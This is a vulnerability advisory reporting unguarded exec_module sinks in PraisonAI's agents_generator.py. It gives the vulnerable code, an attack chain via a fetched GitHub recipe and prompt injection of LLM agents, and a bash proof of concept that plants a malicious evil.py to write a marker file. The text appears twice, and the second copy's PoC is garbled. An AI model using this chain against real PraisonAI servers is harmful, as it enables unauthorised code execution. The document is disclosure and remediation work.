PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334
Arbitrary code execution via ungated spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass) Summary The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate. Patch lineage
| CVE | GHSA | Fixed in | What was patched |
|---|---|---|---|
| CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py |
| CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py |
| CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py |
| This finding | — | unfixed | Missed sinks in agents_generator.py |
Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched. Vulnerable code
praisonai/agents_generator.py (master HEAD; v4.6.37)
336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate
372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate)
Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:
Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156. Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True). Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.
Attack chain (recipe vector) HTTP POST /v1/recipes/run body: {"recipe": "github:<attacker>/<repo>/<recipe>"} │ ▼ Recipe fetched → agents.yaml contains: tools: - module_path: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE
No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call. PoC #!/usr/bin/env bash
Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail
WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT
1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)
def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF
2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools: - evil.py YAMLEOF
3. Run
cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired "
4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi
Impact Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account. Severity High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical) CWE
CWE-94: Improper Control of Generation of Code ('Code Injection') CWE-426: Untrusted Search Path CWE-829: Inclusion of Functionality from Untrusted Control Sphere
Affected versions All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD). Suggested fix Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py: import os
def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...
def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...
Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.
Credit
Kai Aizen & Avraham Shemesh / SnailSploit## Arbitrary code execution via ungated spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass)
TL;DR
The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.
Patch lineage
| CVE | GHSA | Fixed in | What was patched |
|---|---|---|---|
| CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py |
| CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py |
| CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py |
| This finding | — | unfixed | Missed sinks in agents_generator.py |
Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.
Vulnerable code
# praisonai/agents_generator.py (master HEAD; v4.6.37)
336 def load_tools_from_module(self, module_path):
# ...
349 spec = importlib.util.spec_from_file_location("tools_module", module_path)
350 module = importlib.util.module_from_spec(spec)
351 spec.loader.exec_module(module) # ← NO gate
372 def load_tools_from_module_class(self, module_path):
# ... (same pattern — spec_from_file_location → exec_module, no gate)
Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:
- Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
- Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (
POST /v1/recipes/runwithallow_any_github=True). - Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.
Attack chain (recipe vector)
HTTP POST /v1/recipes/run
body: {"recipe": "github://"}
│
▼
Recipe fetched → agents.yaml contains:
tools:
- module_path: ./evil.py # colocated in recipe dir
│
▼
AgentsGenerator.load_tools_from_module("./evil.py")
│
▼
agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py")
agents_generator.py:351 spec.loader.exec_module(module) ← RCE
No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.
PoC
#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, "$WORKDIR/evil.py" "$WORKDIR/agents.yaml" /dev/null | tail -1)
if [ -n "$MARKER" ]; then
echo "SUCCESS — marker file written by server process:"
cat "$MARKER"
else
echo "FAIL — marker not found"
exit 1
fi
Impact
Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.
Severity
High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)
When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)
CWE
- CWE-94: Improper Control of Generation of Code ('Code Injection')
- CWE-426: Untrusted Search Path
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere
Affected versions
All versions containing agents_generator.py with these functions — at minimum `>= 2.0.0,